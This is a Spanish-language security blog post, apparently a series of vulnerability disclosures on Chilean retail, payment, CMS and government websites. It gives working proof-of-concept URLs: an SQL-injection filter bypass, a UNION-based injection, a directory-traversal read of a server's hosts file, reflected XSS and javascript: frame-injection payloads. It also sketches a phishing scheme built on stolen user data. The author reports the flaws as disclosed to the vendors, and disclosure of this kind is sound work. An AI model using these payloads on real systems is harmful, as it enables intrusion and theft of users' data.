Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.
Los sitios afectados son: http://www.falabella.cl y http://www.ripley.cl incluyendo los sitios “seguros” (https) de cada uno.

Lo más irónico es que los sitios estan “certificados” por una empresa de seguridad que según ellos:

Verisign, líder mundial en certificación de comercio electrónico.

Aunque no me sorprende, luego de haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign.

Otra cosa que tambien les debería dar verguenza a estas empresas es prometer 100% de seguridad al usuario, como dice en sus propios sitios web:

Todo esto es una mentira.

Con las 2 imagenes que veran a continuación, no habrá mucho que explicar…

1.

2.

Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios “super seguros” https.

Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella FALSO, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.

Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos nunca pedirán datos por correo pero sin embargo … Pero qué pasa si te llega un correo con links verdaderos a httpS://www.falabella.com o httpS://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos … Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.

Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las mentiras falsas promesas que hacen los portales de internet que por obligación DEBEN ser seguros, pero no los son.

La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.

Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.

En la sección “Quienes somos” podemos ver el siguiente mensaje:

Como es de costumbre de todas estas empresas, todas tienen un “alto estandar de seguridad” y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una mentira.

Según ellos:

Seguridad
Contamos con las herramientas de más alto nivel en seguridad y eficiencia que la tecnología virtual ofrece en el mercado actualmente.

Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta @ServipagOnLine comenzó a seguirme y me dijo “Nuestro jefe de proyectos se contactara contigo“, 7 días despues lo único que he recibido es un correo que dice:

Le respondí cómo podía contactarme y eso fue el fin de la conversación.

Las vulnerabilidades

Local File Include & Directory Traversal

Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo “browse.asp”, al pasarle mediante la variable “pagina” el archivo que deseamos ver, por ejemplo “../../../../../../../../../../../boot.ini”.

Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los “slash” normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:

Pero gracias a la contribución de @1error500, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los “slash” por “backslash” (\), podemos explotar nuevamente la vulnerabilidad.

Por ejemplo: http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&EstadoUsuario=0&TipoConsulta=EXPRESS&IdPagoSolicitado=4008706&IdPeriodoSolicitado=201107

#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
192.168.2.8www.servipag.com

Una verguenza de seguridad.

Cross Site Scripting (XSS)

Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable “p” y a la variable “mensaje_error” dependiendo de la “pagina” a mostrar.

- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&bloque=Pagos%20Preguntas%20Frecuentes1&p=%3Cscript%3Ealert(/XSS/)%3C/script%3E
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?

Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.

Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a través de un sistema de workflow.

La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo “onsubmit=doSearch()”

Al realizar la busqueda, la función doSearch() nos cambia el href:

function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } 

Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:

var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&engine=SwisheFind';
	url+= '&rpp=';
	url+= '&cid=815';
	url+= '&stid=';
	url+= '&iid=1257';
	url+= '&grclass=resultado-busqueda';
	url+= '&pnid=';
	url+= '&pnid_df=';
	url+= '&pnid_tf=';
	url+= '&pnid_search=2033,1999,1849';
	url+= '&limit=';
	url+= '&searchon=';
	url+= '&channellink=';
	url+= '&articlelink=w3:article';
	url+= '&pvlink=w3:propertyvalue';
	url+= '&notarticlecid=';
	url+= '&use_cid_owner_on_links=';
	url+= '&show_ancestors=';
	url+= '&show_pnid=';
	url+= '&cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&start=' + getCookie( 'search_start' );
		url+= '&keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&javascript=1';
	document.write( ' < \/scr' + 'ipt>' );

Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.

Para este ejemplo, lo que nos interesa es el valor final de la variable “url”, que en este caso es algo similar a:

http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=&cid=815&stid=&iid=1257&grclass=resultado-busqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=2033,1999,1849&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=&show_pnid=&cids=815&keywords=prueba

Ya nos salimos del dominio conama.cl y entramos a jugar al subdominio ntg-engine.conama.cl, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:

Aparece en negrita la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:

Los sitios afectados son:

Newtenberg – http://www.newtenberg.com
SINIA (Sistema Nacional de Informacion Ambiental) – http://www.sinia.cl
Ministerio del Medio Ambiente – http://www.mma.gob.cl
Superintendencia de Servicios Sanitarios – http://www.siss.gob.cl
Repositorio Institucional CONICYT – http://ri.conicyt.cl
Red Lideres – http://www.redlideres.cl
Punto Lex – http://www.puntolex.cl
Subsecretaria de Desarrollo Regional y Administrativo – http://www.subdere.gov.cl
CONAMA – http://www.conama.cl
El Periodista – http://www.elperiodista.cl/
Colombia Aprende – http://www.colombiaaprende.edu.co

Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable “url”.

PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)

URL: http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&engine=&rpp=20&cid=876&stid=&iid=1510&grclass=&pnid=&pnid_df=&pnid_tf=&pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=1&show_pnid=1&cids=876&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

PoC en el propio sitio de Newtenberg

URL: http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=10&cid=924&stid=5686&iid=1765&grclass=resultadobusqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=&limit=&searchon=&channellink=&articlelink=&pvlink=&notarticlecid=0&use_cid_owner_on_links=0&show_ancestors=&show_pnid=&cids=924&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

El error se produce al no filtrar el contenido de la variable “keywords“.

No se descarta que puedan haber mas sitios afectados.

Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.

Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.

Entre los sitios afectados por esta vulnerabilidad estan el sitio web del Senado de la República de Chile, y Fonasa, entre otros.

La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html “antialone.html”

En este archivo encontramos el siguiente codigo javascript:

if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('<frameset rows="122,1*" frameborder="NO" border="0" framespacing="0">');
    document.write('  <frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO">');
    document.write('  <frame name="cont" src="' + page + '" marginwidth="0" marginheight="0">');
    document.write('</frameset>');
  };

Si se fijan, en la linea 6 crea un frame con src=page, y en la linea 3 page=page+?+Math.random(). Por lo tanto, si le pasamos la variable “page” por url con el contenido “javsript:algo…” el navegador lo debería interpretar.

El problema es que en la línea 3 le agrega “?numero aleatorio”, por lo que si le pasamos el valor “javascript:alert(1)” lo que cargara el frame será “javascript:alert(1)?45454554.0″ lo que provocará un error de sintaxis y el navegador no hará nada.
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.

No podemos poner directamente la url “http://www.algo.com” ya que en otro lado del javscript aparece un tipo de filtro que si encuentra “://” nos manda a la raíz del sitio:

 if (page.indexOf('://') >= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };

Para explotar la vulnerabilidad usaré “javascript:alert(/XSS/);//“, de esta forma el valor de la variable page será “javascript:alert(/XSS/);//?45454554.0” dejando lo último como comentario.

Pruebas de Concepto:

Sitio web del Senado

Sitio web del Fondo Nacional de Salud (FONASA)

Universidad Catolica de Valparaiso

Los sitios afectados son:

http://www.mercuriovalpo.cl
http://www.estrellaiquique.cl
http://www.australvaldivia.cl
http://www.ucv.cl
http://www.estrellavalpo.cl
http://www.senador.cl
http://www.diariollanquihue.cl
http://www.lidersanantonio.cl
http://www.australtemuco.cl
http://www.diariolaestrella.cl
http://www.estrellaloa.cl
http://www.estrellaarica.cl
http://www.laestrellachiloe.cl
http://www.australlosrios.cl
http://mercuriocalama.cl
http://www.australosorno.cl
http://www.diarioatacama.cl
http://www.diarioaustral.cl
http://www.renacerdeangol.cl
http://www.fonasa.cl
http://www.mercurioantofagasta.cl
http://www.prensatocopilla.cl
http://www.ellanquihue.cl
http://www.elaustral.cl
http://www.hernanlarrain.cl
http://www.estrellanorte.cl

No se descarta que existan más sitios afectados.

Actualizado (12 de Julio del 2011):
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.

El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.

Si bien CLCERT es una “organización” que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios web con vulnerabilidades tan basicas.
Esta organización da cursos y diplomados relacionados a la “Seguridad Computacional” o como la mayoría los conoce “Cursos de Seguridad Informática” o simplemente “Cursos de Seguridad”. Todas las personas que han pasado por estos cursos se pueden ver en la URL http://capacita.clcert.cl/dir/ la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.

La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable “apellido”, “id” y “fecha” del archivo index.php. Y la XSS se produce a partir de esta misma.

Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url

Deducimos que podemos inyectar código sql mediante la variable “apellido“.

Proof-of-Concept

1. SQL Injection

Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter ” ‘ ” al valor de la variable mediante la URL http://capacita.clcert.cl/dir/?apellido=%27 y obtenemos el error esperado con la información deseada:

Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones user() y version() propias del MySQL.

Obteniendo en los campos correspondientes la información solicitada

Con este simple sql injection ya tenemos información relevante. Usuario “diplomado” y version 4.1.22 del mysql.

2. Cross-Site Scripting

Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos “‘ esta es una prueba” veremos lo siguiente:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘esta es una prueba%’‘ at line 1Executed query: select apellidos, nombres, fecha , id from users where apellidos like ” esta es una prueba%’

Por lo tanto, si en lugar de “esta es una prueba” ingresamos un codigo javascript, será ejecutado:

Es increible como las organizaciones que “luchan” por la seguridad son inseguras. Errores tan basicos, tan simples … Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.

La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio.

Links

Reporte XSS en Secureless
Reporte SQL-Injection en Secureless